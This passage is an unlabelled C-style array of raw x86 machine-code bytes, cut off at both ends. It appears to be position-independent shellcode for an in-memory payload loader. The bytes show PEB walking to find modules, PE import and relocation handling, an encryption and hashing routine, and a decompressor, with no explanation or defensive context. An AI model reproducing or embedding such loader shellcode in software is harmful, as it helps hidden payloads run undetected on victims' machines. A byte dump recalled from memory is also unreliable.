0x8b, 0x44, 0x24, 0x18, 0x50, 0xff, 0x74, 0x24, 0x18, 0xff, 0x53, 0x34,
0x89, 0x45, 0x00, 0x83, 0xc5, 0x04, 0x8b, 0x44, 0x24, 0x1c, 0x83, 0xc0,
0x04, 0x89, 0x44, 0x24, 0x1c, 0x8b, 0x08, 0x85, 0xc9, 0x75, 0xb2, 0x8b,
0x6c, 0x24, 0x10, 0x8b, 0x45, 0x20, 0x83, 0xc5, 0x14, 0x89, 0x6c, 0x24,
0x10, 0x85, 0xc0, 0x0f, 0x85, 0x78, 0xff, 0xff, 0xff, 0x8b, 0x7c, 0x24,
0x20, 0x8b, 0x87, 0xe0, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x77, 0x8d,
0x6e, 0x04, 0x03, 0xe8, 0x89, 0x6c, 0x24, 0x14, 0x8b, 0x45, 0x00, 0x85,
0xc0, 0x74, 0x67, 0x03, 0xc6, 0x50, 0xff, 0x53, 0x30, 0x89, 0x44, 0x24,
0x10, 0x85, 0xc0, 0x74, 0x47, 0x8b, 0x4d, 0x0c, 0x8b, 0x55, 0x08, 0x03,
0xce, 0x03, 0xd6, 0x89, 0x4c, 0x24, 0x18, 0x89, 0x54, 0x24, 0x1c, 0x8b,
0x01, 0x85, 0xc0, 0x74, 0x2f, 0x8b, 0xf9, 0x8b, 0xea, 0x8b, 0x4b, 0x34,
0x85, 0xc0, 0x79, 0x05, 0x0f, 0xb7, 0xc0, 0xeb, 0x05, 0x83, 0xc0, 0x02,
0x03, 0xc6, 0x50, 0xff, 0x74, 0x24, 0x14, 0xff, 0xd1, 0x83, 0xc7, 0x04,
0x89, 0x45, 0x00, 0x83, 0xc5, 0x04, 0x8b, 0x07, 0x85, 0xc0, 0x75, 0xd9,
0x8b, 0x6c, 0x24, 0x14, 0x83, 0xc5, 0x20, 0x89, 0x6c, 0x24, 0x14, 0x8b,
0x45, 0x00, 0x85, 0xc0, 0x75, 0x9d, 0x8b, 0x7c, 0x24, 0x20, 0x8b, 0xaf,
0xc0, 0x00, 0x00, 0x00, 0x85, 0xed, 0x74, 0x1b, 0x8b, 0x6c, 0x2e, 0x0c,
0x85, 0xed, 0x74, 0x13, 0xeb, 0x0a, 0x6a, 0x00, 0x6a, 0x01, 0x56, 0xff,
0xd0, 0x8d, 0x6d, 0x04, 0x8b, 0x45, 0x00, 0x85, 0xc0, 0x75, 0xef, 0x8b,
0x84, 0x24, 0x38, 0x02, 0x00, 0x00, 0x8b, 0x6f, 0x28, 0x03, 0xee, 0x83,
0x38, 0x03, 0x0f, 0x85, 0x08, 0x01, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x01,
0x56, 0xff, 0xd5, 0x8b, 0x94, 0x24, 0x38, 0x02, 0x00, 0x00, 0x81, 0xc2,
0x0c, 0x03, 0x00, 0x00, 0x89, 0x54, 0x24, 0x18, 0x80, 0x3a, 0x00, 0x0f,
0x84, 0x55, 0x01, 0x00, 0x00, 0x8b, 0x4f, 0x78, 0x85, 0xc9, 0x0f, 0x84,
0x4a, 0x01, 0x00, 0x00, 0x8b, 0x6c, 0x31, 0x18, 0x85, 0xed, 0x0f, 0x84,
0x3e, 0x01, 0x00, 0x00, 0x8b, 0x44, 0x31, 0x1c, 0x03, 0xc6, 0x89, 0x44,
0x24, 0x14, 0x8b, 0x44, 0x31, 0x20, 0x8b, 0x4c, 0x31, 0x24, 0x03, 0xc6,
0x03, 0xce, 0x89, 0x4c, 0x24, 0x10, 0x8d, 0x04, 0xa8, 0x83, 0xc0, 0xfc,
0x89, 0x44, 0x24, 0x20, 0x8b, 0x00, 0x03, 0xc6, 0x52, 0x50, 0xe8, 0xe7,
0x09, 0x00, 0x00, 0x59, 0x59, 0x85, 0xc0, 0x74, 0x16, 0x8b, 0x44, 0x24,
0x20, 0x83, 0xe8, 0x04, 0x89, 0x44, 0x24, 0x20, 0x83, 0xed, 0x01, 0x74,
0x1c, 0x8b, 0x54, 0x24, 0x18, 0xeb, 0xd9, 0x8b, 0x44, 0x24, 0x10, 0x8b,
0x4c, 0x24, 0x14, 0x0f, 0xb7, 0x44, 0x68, 0xfe, 0x8b, 0x04, 0x81, 0x03,
0xc6, 0x89, 0x44, 0x24, 0x24, 0xff, 0x77, 0x54, 0x6a, 0x00, 0x56, 0xe8,
0x95, 0x09, 0x00, 0x00, 0xff, 0x77, 0x54, 0x6a, 0x00, 0xff, 0x74, 0x24,
0x3c, 0xe8, 0x87, 0x09, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x3c, 0x83, 0xc4,
0x18, 0x85, 0xc0, 0x0f, 0x84, 0xb5, 0x00, 0x00, 0x00, 0x8b, 0xac, 0x24,
0x38, 0x02, 0x00, 0x00, 0x8d, 0xbd, 0x0c, 0x04, 0x00, 0x00, 0x80, 0x3f,
0x00, 0x74, 0x31, 0x8b, 0x8d, 0x0c, 0x05, 0x00, 0x00, 0x85, 0xc9, 0x74,
0x15, 0x8d, 0x44, 0x24, 0x2c, 0x50, 0x57, 0x53, 0xe8, 0x99, 0x04, 0x00,
0x00, 0x8b, 0x8d, 0x0c, 0x05, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x85, 0xc9,
0x8d, 0x44, 0x24, 0x2c, 0x0f, 0x44, 0xc7, 0x50, 0x8b, 0x44, 0x24, 0x28,
0xff, 0xd0, 0xeb, 0x72, 0xff, 0xd0, 0xeb, 0x6e, 0x05, 0x0c, 0x04, 0x00,
0x00, 0x80, 0x38, 0x00, 0x74, 0x1a, 0x8d, 0x4c, 0x24, 0x2c, 0x51, 0x50,
0x53, 0xe8, 0x64, 0x04, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x38, 0x50, 0x53,
0xe8, 0x26, 0x02, 0x00, 0x00, 0x83, 0xc4, 0x14, 0xff, 0x77, 0x54, 0x6a,
0x00, 0x56, 0xe8, 0x02, 0x09, 0x00, 0x00, 0xff, 0x77, 0x54, 0x6a, 0x00,
0xff, 0x74, 0x24, 0x3c, 0xe8, 0xf4, 0x08, 0x00, 0x00, 0x8b, 0x84, 0x24,
0x50, 0x02, 0x00, 0x00, 0x33, 0xc9, 0x83, 0xc4, 0x18, 0x39, 0x48, 0x04,
0x74, 0x15, 0x51, 0x51, 0x51, 0x55, 0x51, 0x51, 0xff, 0x53, 0x5c, 0x85,
0xc0, 0x74, 0x13, 0x6a, 0xff, 0x50, 0xff, 0x53, 0x58, 0xeb, 0x0b, 0x64,
0xa1, 0x18, 0x00, 0x00, 0x00, 0xff, 0x70, 0x30, 0xff, 0xd5, 0x68, 0x00,
0xc0, 0x00, 0x00, 0x6a, 0x00, 0x56, 0xff, 0x53, 0x40, 0x5e, 0x5f, 0x5d,
0x5b, 0x81, 0xc4, 0x20, 0x02, 0x00, 0x00, 0xc3, 0x81, 0xec, 0xf4, 0x02,
0x00, 0x00, 0x53, 0x8b, 0x9c, 0x24, 0xfc, 0x02, 0x00, 0x00, 0x55, 0x56,
0x6a, 0x04, 0x8b, 0x83, 0x18, 0x09, 0x00, 0x00, 0x33, 0xf6, 0x68, 0x00,
0x30, 0x00, 0x00, 0x8d, 0x04, 0x45, 0x02, 0x00, 0x00, 0x00, 0x50, 0x56,
0xff, 0x53, 0x3c, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0x84, 0x01, 0x00,
0x00, 0x8b, 0x84, 0x24, 0x08, 0x03, 0x00, 0x00, 0x8b, 0x88, 0x24, 0x05,
0x00, 0x00, 0x05, 0x28, 0x05, 0x00, 0x00, 0x03, 0xc9, 0x51, 0x55, 0x6a,
0xff, 0x50, 0x56, 0x56, 0xff, 0x53, 0x50, 0x8d, 0x44, 0x24, 0x58, 0x89,
0x44, 0x24, 0x14, 0x8d, 0x44, 0x24, 0x14, 0x50, 0x53, 0xe8, 0xa6, 0xe5,
0xff, 0xff, 0x8d, 0x44, 0x24, 0x4c, 0x89, 0x44, 0x24, 0x24, 0x8d, 0x44,
0x24, 0x24, 0x50, 0x53, 0xe8, 0x49, 0xe4, 0xff, 0xff, 0x8d, 0x84, 0x24,
0x94, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x38, 0x8d, 0x44, 0x24, 0x38,
0x50, 0x53, 0xe8, 0x44, 0xee, 0xff, 0xff, 0x83, 0xc4, 0x18, 0x56, 0x56,
0xff, 0x93, 0xc4, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0xf5, 0x00,
0x00, 0x00, 0x8d, 0x44, 0x24, 0x0c, 0x50, 0x8d, 0x83, 0x94, 0x06, 0x00,
0x00, 0x50, 0x6a, 0x03, 0x56, 0x8d, 0x83, 0x74, 0x06, 0x00, 0x00, 0x50,
0xff, 0x93, 0xc8, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0xd1, 0x00,
0x00, 0x00, 0x8b, 0x4c, 0x24, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, 0x8d,
0x83, 0xc4, 0x06, 0x00, 0x00, 0x50, 0x8b, 0x11, 0x51, 0xff, 0x12, 0x85,
0xc0, 0x0f, 0x85, 0xa0, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x10, 0x50,
0x8b, 0x08, 0xff, 0x51, 0x0c, 0x85, 0xc0, 0x0f, 0x85, 0x84, 0x00, 0x00,
0x00, 0x8b, 0x4c, 0x24, 0x0c, 0x8d, 0x54, 0x24, 0x14, 0x89, 0x4c, 0x24,
0x34, 0x52, 0x51, 0x8b, 0x01, 0xff, 0x50, 0x0c, 0x85, 0xc0, 0x75, 0x6d,
0x57, 0x8d, 0x84, 0x24, 0x00, 0x01, 0x00, 0x00, 0x50, 0x8d, 0x83, 0xe0,
0x05, 0x00, 0x00, 0x50, 0x53, 0xe8, 0xd4, 0x02, 0x00, 0x00, 0x83, 0xc4,
0x0c, 0x8d, 0x84, 0x24, 0x00, 0x01, 0x00, 0x00, 0x50, 0xff, 0x93, 0x8c,
0x00, 0x00, 0x00, 0x8b, 0x4c, 0x24, 0x10, 0x8b, 0xf8, 0x6a, 0x02, 0x57,
0x51, 0x8b, 0x11, 0xff, 0x52, 0x20, 0x57, 0x8b, 0xf0, 0xff, 0x93, 0x90,
0x00, 0x00, 0x00, 0x5f, 0x85, 0xf6, 0x75, 0x27, 0x8b, 0x44, 0x24, 0x10,
0x33, 0xf6, 0x56, 0x56, 0x56, 0x8b, 0x08, 0x56, 0x56, 0x56, 0x56, 0x56,
0x55, 0x50, 0xff, 0x51, 0x14, 0x85, 0xc0, 0x75, 0x10, 0x8b, 0x44, 0x24,
0x0c, 0x6a, 0x02, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x14, 0xeb, 0x02, 0x33,
0xf6, 0x8b, 0x44, 0x24, 0x10, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0x8b,
0x44, 0x24, 0x0c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x1c, 0x8b, 0x44, 0x24,
0x0c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0x8b, 0x83, 0x18, 0x09, 0x00,
0x00, 0x8d, 0x04, 0x45, 0x02, 0x00, 0x00, 0x00, 0x50, 0x56, 0x55, 0xe8,
0x01, 0x07, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x68, 0x00, 0xc0, 0x00, 0x00,
0x56, 0x55, 0xff, 0x53, 0x40, 0x5e, 0x5d, 0x5b, 0x81, 0xc4, 0xf4, 0x02,
0x00, 0x00, 0xc3, 0x81, 0xec, 0x94, 0x00, 0x00, 0x00, 0x64, 0xa1, 0x18,
0x00, 0x00, 0x00, 0x53, 0x8b, 0x9c, 0x24, 0x9c, 0x00, 0x00, 0x00, 0x55,
0x8b, 0x40, 0x30, 0x56, 0x89, 0x44, 0x24, 0x14, 0x8d, 0x83, 0x4c, 0x03,
0x00, 0x00, 0x57, 0x50, 0xff, 0x53, 0x38, 0x8b, 0xf8, 0x33, 0xc0, 0x8b,
0x57, 0x3c, 0x03, 0xd7, 0x0f, 0xb7, 0x6a, 0x14, 0x0f, 0xb7, 0x72, 0x06,
0x03, 0xea, 0x8d, 0x4d, 0x18, 0x85, 0xf6, 0x74, 0x12, 0x8b, 0x93, 0x44,
0x03, 0x00, 0x00, 0x39, 0x11, 0x74, 0x30, 0x40, 0x83, 0xc1, 0x28, 0x3b,
0xc6, 0x72, 0xf4, 0x8b, 0x7c, 0x24, 0x14, 0x8b, 0x74, 0x24, 0x14, 0xff,
0x53, 0x6c, 0x33, 0xd2, 0x85, 0xff, 0x74, 0x39, 0x8b, 0xce, 0x8b, 0xe9,
0x89, 0x6c, 0x24, 0x14, 0x39, 0x41, 0x04, 0x74, 0x1c, 0x42, 0x83, 0xc1,
0x04, 0x3b, 0xd7, 0x72, 0xed, 0xeb, 0x2a, 0x6b, 0xc0, 0x28, 0x8b, 0x74,
0x28, 0x24, 0x03, 0xf7, 0x8b, 0x7c, 0x28, 0x20, 0xc1, 0xef, 0x02, 0xeb,
0xce, 0xff, 0xb4, 0x24, 0xac, 0x00, 0x00, 0x00, 0x51, 0xff, 0x93, 0xe8,
0x00, 0x00, 0x00, 0xeb, 0x08, 0x8b, 0x6c, 0x24, 0x14, 0x89, 0x6c, 0x24,
0x14, 0xff, 0x53, 0x68, 0x33, 0xc9, 0x85, 0xff, 0x74, 0x2d, 0x39, 0x46,
0x04, 0x74, 0x0a, 0x41, 0x83, 0xc6, 0x04, 0x3b, 0xcf, 0x72, 0xf3, 0xeb,
0x1e, 0x6a, 0x01, 0x55, 0x8d, 0x44, 0x24, 0x24, 0x50, 0xff, 0x93, 0xd8,
0x00, 0x00, 0x00, 0x6a, 0x08, 0x8d, 0x44, 0x24, 0x20, 0x50, 0x56, 0xe8,
0xed, 0x05, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8b, 0x44, 0x24, 0x18, 0x8b,
0x40, 0x0c, 0x8b, 0x78, 0x0c, 0x83, 0x7f, 0x18, 0x00, 0x0f, 0x84, 0x13,
0x01, 0x00, 0x00, 0x8d, 0x83, 0x6c, 0x03, 0x00, 0x00, 0x8b, 0xd0, 0x89,
0x54, 0x24, 0x10, 0x8a, 0x02, 0x33, 0xed, 0x83, 0x64, 0x24, 0x18, 0x00,
0x45, 0x33, 0xc9, 0x84, 0xc0, 0x0f, 0x84, 0xe1, 0x00, 0x00, 0x00, 0x8d,
0x5c, 0x24, 0x24, 0x8b, 0xf2, 0x2b, 0xda, 0x8b, 0xd5, 0x3c, 0x3b, 0x74,
0x29, 0x81, 0xf9, 0x80, 0x00, 0x00, 0x00, 0x73, 0x21, 0x3c, 0x77, 0x75,
0x04, 0x33, 0xed, 0xeb, 0x0e, 0x8b, 0xea, 0x3c, 0x70, 0x75, 0x08, 0xc7,
0x44, 0x24, 0x18, 0x01, 0x00, 0x00, 0x00, 0x88, 0x04, 0x1e, 0x41, 0x46,
0x8a, 0x06, 0x84, 0xc0, 0x75, 0xd1, 0x8b, 0x9c, 0x24, 0xa8, 0x00, 0x00,
0x00, 0x85, 0xc9, 0x0f, 0x84, 0x9b, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24,
0x10, 0x40, 0xc6, 0x44, 0x0c, 0x24, 0x00, 0x03, 0xc1, 0x89, 0x44, 0x24,
0x10, 0x8d, 0x44, 0x24, 0x24, 0x50, 0xff, 0x77, 0x18, 0xff, 0x53, 0x34,
0x8b, 0x54, 0x24, 0x10, 0x8b, 0xf0, 0x85, 0xf6, 0x74, 0x81, 0x85, 0xed,
0x74, 0x33, 0x83, 0x7c, 0x24, 0x18, 0x00, 0x74, 0x10, 0xff, 0xd6, 0x8b,
0x54, 0x24, 0x10, 0x8b, 0xf0, 0x85, 0xf6, 0x0f, 0x84, 0x66, 0xff, 0xff,
0xff, 0xff, 0x36, 0x53, 0xe8, 0x1a, 0xef, 0xff, 0xff, 0x8b, 0x54, 0x24,
0x18, 0x59, 0x59, 0x85, 0xc0, 0x0f, 0x84, 0x50, 0xff, 0xff, 0xff, 0x8b,
0x44, 0x24, 0x20, 0xeb, 0x34, 0x83, 0x7c, 0x24, 0x18, 0x00, 0x74, 0x10,
0xff, 0xd6, 0x8b, 0x54, 0x24, 0x10, 0x8b, 0xf0, 0x85, 0xf6, 0x0f, 0x84,
0x33, 0xff, 0xff, 0xff, 0xff, 0x36, 0x53, 0xe8, 0xe7, 0xee, 0xff, 0xff,
0x8b, 0x54, 0x24, 0x18, 0x59, 0x59, 0x85, 0xc0, 0x0f, 0x84, 0x1d, 0xff,
0xff, 0xff, 0x8b, 0x44, 0x24, 0x14, 0x8b, 0x40, 0x04, 0x8b, 0x54, 0x24,
0x10, 0x89, 0x06, 0xe9, 0x0b, 0xff, 0xff, 0xff, 0x8b, 0x3f, 0x8d, 0x83,
0x6c, 0x03, 0x00, 0x00, 0x83, 0x7f, 0x18, 0x00, 0x0f, 0x85, 0xf3, 0xfe,
0xff, 0xff, 0x5f, 0x5e, 0x33, 0xc0, 0x5d, 0x40, 0x5b, 0x81, 0xc4, 0x94,
0x00, 0x00, 0x00, 0xc3, 0x8b, 0x44, 0x24, 0x0c, 0xc7, 0x00, 0x01, 0x00,
0x00, 0x00, 0x33, 0xc0, 0xc2, 0x10, 0x00, 0x8b, 0x44, 0x24, 0x04, 0x2b,
0x44, 0x24, 0x08, 0xc3, 0x8b, 0x44, 0x24, 0x04, 0x99, 0xf7, 0x7c, 0x24,
0x08, 0xc3, 0x8b, 0x44, 0x24, 0x04, 0x68, 0x00, 0x01, 0x00, 0x00, 0xff,
0x74, 0x24, 0x10, 0x6a, 0xff, 0xff, 0x74, 0x24, 0x14, 0x6a, 0x00, 0x6a,
0x00, 0xff, 0x50, 0x50, 0xc3, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x58, 0x83,
0xe8, 0x05, 0xc3, 0x55, 0x8b, 0xec, 0x64, 0xa1, 0x18, 0x00, 0x00, 0x00,
0x33, 0xc9, 0x56, 0x8b, 0x40, 0x30, 0x8b, 0x40, 0x0c, 0x8b, 0x70, 0x0c,
0xeb, 0x20, 0x85, 0xc9, 0x75, 0x23, 0xff, 0x75, 0x18, 0xff, 0x75, 0x14,
0xff, 0x75, 0x10, 0xff, 0x75, 0x0c, 0x50, 0xff, 0x75, 0x08, 0xe8, 0x9d,
0xe7, 0xff, 0xff, 0x8b, 0x36, 0x83, 0xc4, 0x18, 0x8b, 0xc8, 0x8b, 0x46,
0x18, 0x85, 0xc0, 0x75, 0xd9, 0x8b, 0xc1, 0x5e, 0x5d, 0xc3, 0x83, 0xec,
0x14, 0x53, 0x8b, 0x5c, 0x24, 0x24, 0x33, 0xc0, 0x55, 0x56, 0x33, 0xed,
0x89, 0x44, 0x24, 0x0c, 0x57, 0x8b, 0x7c, 0x24, 0x2c, 0x33, 0xf6, 0x89,
0x74, 0x24, 0x2c, 0x8b, 0x4c, 0x24, 0x28, 0x8a, 0x0c, 0x08, 0x84, 0xc9,
0x74, 0x1a, 0x83, 0xf8, 0x40, 0x74, 0x15, 0x88, 0x4c, 0x2c, 0x14, 0x45,
0x40, 0x89, 0x74, 0x24, 0x2c, 0x89, 0x44, 0x24, 0x10, 0x83, 0xfd, 0x10,
0x75, 0x6f, 0xeb, 0x54, 0x6a, 0x10, 0x58, 0x2b, 0xc5, 0x8d, 0x74, 0x24,
0x14, 0x50, 0x03, 0xf5, 0x6a, 0x00, 0x56, 0xe8, 0xf9, 0x03, 0x00, 0x00,
0x83, 0xc4, 0x0c, 0xc6, 0x06, 0x80, 0x83, 0xfd, 0x0c, 0x72, 0x21, 0x53,
0x8d, 0x44, 0x24, 0x18, 0x57, 0x50, 0xe8, 0x56, 0x00, 0x00, 0x00, 0x6a,
0x10, 0x33, 0xf8, 0x33, 0xda, 0x8d, 0x44, 0x24, 0x24, 0x6a, 0x00, 0x50,
0xe8, 0xd0, 0x03, 0x00, 0x00, 0x83, 0xc4, 0x18, 0x8b, 0x44, 0x24, 0x10,
0x8b, 0x74, 0x24, 0x2c, 0xc1, 0xe0, 0x03, 0x46, 0x89, 0x44, 0x24, 0x20,
0x89, 0x74, 0x24, 0x2c, 0x53, 0x8d, 0x44, 0x24, 0x18, 0x57, 0x50, 0xe8,
0x21, 0x00, 0x00, 0x00, 0x33, 0xf8, 0x83, 0xc4, 0x0c, 0x8b, 0x44, 0x24,
0x10, 0x33, 0xda, 0x33, 0xed, 0x85, 0xf6, 0x0f, 0x84, 0x66, 0xff, 0xff,
0xff, 0x8b, 0xc7, 0x8b, 0xd3, 0x5f, 0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x14,
0xc3, 0x83, 0xec, 0x10, 0x8b, 0x44, 0x24, 0x18, 0x8b, 0x54, 0x24, 0x1c,
0x53, 0x55, 0x56, 0x8b, 0x74, 0x24, 0x20, 0x33, 0xdb, 0x57, 0x8d, 0x7c,
0x24, 0x10, 0xa5, 0xa5, 0xa5, 0xa5, 0x8b, 0x4c, 0x24, 0x14, 0x8b, 0x74,
0x24, 0x1c, 0x8b, 0x6c, 0x24, 0x18, 0x8b, 0x7c, 0x24, 0x10, 0x89, 0x4c,
0x24, 0x28, 0x8b, 0xce, 0xc1, 0xc8, 0x08, 0x8b, 0x74, 0x24, 0x28, 0x03,
0xc2, 0xc1, 0xce, 0x08, 0x33, 0xc7, 0x03, 0xf7, 0xc1, 0xc2, 0x03, 0x33,
0xf3, 0xc1, 0xc7, 0x03, 0x33, 0xd0, 0x89, 0x6c, 0x24, 0x28, 0x33, 0xfe,
0x8b, 0xe9, 0x43, 0x83, 0xfb, 0x1b, 0x72, 0xd6, 0x5f, 0x5e, 0x5d, 0x5b,
0x83, 0xc4, 0x10, 0xc3, 0x8b, 0x54, 0x24, 0x10, 0x83, 0xec, 0x14, 0x53,
0x8b, 0x5c, 0x24, 0x20, 0x55, 0x8b, 0x6c, 0x24, 0x28, 0x85, 0xd2, 0x0f,
0x84, 0xec, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x8d, 0x4b, 0x0f, 0x40, 0x89,
0x4c, 0x24, 0x2c, 0x2b, 0xc3, 0x56, 0x89, 0x44, 0x24, 0x0c, 0x57, 0x8d,
0x44, 0x24, 0x14, 0x3b, 0xc1, 0x77, 0x04, 0x8d, 0x44, 0x24, 0x23, 0x8b,
0xf3, 0x8d, 0x7c, 0x24, 0x14, 0x33, 0xc9, 0xa5, 0xa5, 0xa5, 0xa5, 0x8b,
0x74, 0x24, 0x28, 0x8b, 0x04, 0x8e, 0x31, 0x44, 0x8c, 0x14, 0x41, 0x83,
0xf9, 0x04, 0x72, 0xf3, 0x8b, 0x74, 0x24, 0x20, 0x8b, 0x44, 0x24, 0x1c,
0x8b, 0x7c, 0x24, 0x18, 0x8b, 0x4c, 0x24, 0x14, 0xc7, 0x44, 0x24, 0x30,
0x10, 0x00, 0x00, 0x00, 0x03, 0xcf, 0x03, 0xc6, 0xc1, 0xc7, 0x05, 0x33,
0xf9, 0xc1, 0xc6, 0x08, 0x33, 0xf0, 0xc1, 0xc1, 0x10, 0x03, 0xc7, 0x03,
0xce, 0xc1, 0xc7, 0x07, 0xc1, 0xc6, 0x0d, 0x33, 0xf8, 0x33, 0xf1, 0xc1,
0xc0, 0x10, 0x83, 0x6c, 0x24, 0x30, 0x01, 0x75, 0xd7, 0x8b, 0x5c, 0x24,
0x28, 0x89, 0x4c, 0x24, 0x14, 0x33, 0xc9, 0x89, 0x74, 0x24, 0x20, 0x89,
0x7c, 0x24, 0x18, 0x89, 0x44, 0x24, 0x1c, 0x8b, 0x04, 0x8b, 0x31, 0x44,
0x8c, 0x14, 0x41, 0x83, 0xf9, 0x04, 0x72, 0xf3, 0x6a, 0x10, 0x5e, 0x3b,
0xd6, 0x8b, 0xca, 0x0f, 0x47, 0xce, 0x85, 0xc9, 0x74, 0x15, 0x8d, 0x7c,
0x24, 0x14, 0x8b, 0xf5, 0x2b, 0xfd, 0x8b, 0xd9, 0x8a, 0x04, 0x37, 0x30,
0x06, 0x46, 0x83, 0xeb, 0x01, 0x75, 0xf5, 0x8b, 0x5c, 0x24, 0x10, 0x2b,
0xd1, 0x03, 0xe9, 0x8b, 0x4c, 0x24, 0x34, 0x80, 0x01, 0x01, 0x75, 0x08,
0x49, 0x8d, 0x04, 0x0b, 0x85, 0xc0, 0x7f, 0xf3, 0x8b, 0x5c, 0x24, 0x2c,
0x8d, 0x4b, 0x0f, 0x85, 0xd2, 0x0f, 0x85, 0x28, 0xff, 0xff, 0xff, 0x5f,
0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x14, 0xc3, 0x83, 0xec, 0x14, 0x8b, 0x4c,
0x24, 0x18, 0x83, 0x64, 0x24, 0x10, 0x00, 0x53, 0x55, 0x8b, 0x6c, 0x24,
0x24, 0x8a, 0x01, 0x56, 0x57, 0x88, 0x45, 0x00, 0x83, 0xcf, 0xff, 0x8d,
0x45, 0x01, 0x33, 0xf6, 0x89, 0x44, 0x24, 0x18, 0x33, 0xdb, 0x8d, 0x41,
0x01, 0x89, 0x5c, 0x24, 0x10, 0x89, 0x44, 0x24, 0x14, 0x8d, 0x44, 0x24,
0x14, 0x50, 0xe8, 0x67, 0x01, 0x00, 0x00, 0x59, 0x85, 0xc0, 0x0f, 0x84,
0x32, 0x01, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x14, 0x50, 0xe8, 0x54, 0x01,
0x00, 0x00, 0x85, 0xc0, 0x8d, 0x44, 0x24, 0x18, 0x59, 0x50, 0x74, 0x7d,
0xe8, 0x45, 0x01, 0x00, 0x00, 0x59, 0x85, 0xc0, 0x74, 0x37, 0x6a, 0x04,
0x33, 0xf6, 0x5b, 0x8d, 0x44, 0x24, 0x14, 0x50, 0xe8, 0x31, 0x01, 0x00,
0x00, 0x59, 0x8d, 0x34, 0x70, 0x83, 0xeb, 0x01, 0x75, 0xed, 0x8b, 0x54,
0x24, 0x18, 0x85, 0xf6, 0x74, 0x0a, 0x8b, 0xc2, 0x2b, 0xc6, 0x8a, 0x00,
0x88, 0x02, 0xeb, 0x03, 0xc6, 0x02, 0x00, 0x8b, 0x5c, 0x24, 0x10, 0x42,
0xe9, 0xef, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x14, 0x8b, 0x54, 0x24,
0x18, 0x0f, 0xb6, 0x38, 0x40, 0x8b, 0xcf, 0x89, 0x44, 0x24, 0x14, 0x83,
0xe1, 0x01, 0x83, 0xc1, 0x02, 0xd1, 0xef, 0x74, 0x14, 0x8b, 0xf2, 0x2b,
0xf7, 0x8a, 0x06, 0x88, 0x02, 0x42, 0x46, 0x83, 0xe9, 0x01, 0x75, 0xf5,
0xe9, 0xa4, 0x00, 0x00, 0x00, 0x33, 0xdb, 0x43, 0x89, 0x5c, 0x24, 0x10,
0xe9, 0x9c, 0x00, 0x00, 0x00, 0xe8, 0xfc, 0x00, 0x00, 0x00, 0x8b, 0xd0,
0x59, 0x85, 0xf6, 0x75, 0x2b, 0x83, 0xfa, 0x02, 0x75, 0x26, 0x8d, 0x44,
0x24, 0x14, 0x50, 0xe8, 0xe6, 0x00, 0x00, 0x00, 0x8b, 0x54, 0x24, 0x1c,
0x8b, 0xf0, 0x59, 0x85, 0xf6, 0x74, 0x76, 0x8b, 0xca, 0x2b, 0xcf, 0x8a,
0x01, 0x88, 0x02, 0x42, 0x41, 0x83, 0xee, 0x01, 0x75, 0xf5, 0xeb, 0x61,
0x8b, 0x4c, 0x24, 0x14, 0x8d, 0x44, 0x24, 0x14, 0x83, 0xf6, 0x01, 0x2b,
0xd6, 0xc1, 0xe2, 0x08, 0x0f, 0xb6, 0x39, 0x81, 0xc7, 0x00, 0xfe, 0xff,
0xff, 0x03, 0xfa, 0x41, 0x50, 0x89, 0x4c, 0x24, 0x18, 0xe8, 0xa4, 0x00,
0x00, 0x00, 0x59, 0x8b, 0xc8, 0x81, 0xff, 0x00, 0x7d, 0x00, 0x00, 0x72,
0x01, 0x41, 0x8b, 0x54, 0x24, 0x18, 0x8d, 0x41, 0x01, 0x81, 0xff, 0x00,
0x05, 0x00, 0x00, 0x0f, 0x42, 0xc1, 0x81, 0xff, 0x80, 0x00, 0x00, 0x00,
0x8d, 0x70, 0x02, 0x0f, 0x43, 0xf0, 0x85, 0xf6, 0x74, 0x13, 0x8b, 0xca,
0x2b, 0xcf, 0x8a, 0x01, 0x88, 0x02, 0x42, 0x41, 0x83, 0xee, 0x01, 0x75,
0xf5, 0x89, 0x54, 0x24, 0x18, 0x33, 0xf6, 0x46, 0xeb, 0x18, 0x8b, 0x4c,
0x24, 0x14, 0x8b, 0x54, 0x24, 0x18, 0x8a, 0x01, 0x88, 0x02, 0x42, 0x41,
0x89, 0x4c, 0x24, 0x14, 0x33, 0xf6, 0x89, 0x54, 0x24, 0x18, 0x85, 0xdb,
0x0f, 0x84, 0x9b, 0xfe, 0xff, 0xff, 0x5f, 0x5e, 0x2b, 0xd5, 0x5d, 0x8b,
0xc2, 0x5b, 0x83, 0xc4, 0x14, 0xc3, 0x8b, 0x54, 0x24, 0x04, 0x8b, 0x4a,
0x0c, 0x8d, 0x41, 0xff, 0x89, 0x42, 0x0c, 0x85, 0xc9, 0x75, 0x13, 0x8b,
0x02, 0x8a, 0x08, 0x40, 0x89, 0x02, 0xc7, 0x42, 0x0c, 0x07, 0x00, 0x00,
0x00, 0x0f, 0xb6, 0xc1, 0xeb, 0x03, 0x8b, 0x42, 0x08, 0x8d, 0x0c, 0x00,
0xc1, 0xe8, 0x07, 0x89, 0x4a, 0x08, 0x83, 0xe0, 0x01, 0xc3, 0x56, 0x33,
0xf6, 0x46, 0xff, 0x74, 0x24, 0x08, 0xe8, 0xbf, 0xff, 0xff, 0xff, 0xff,
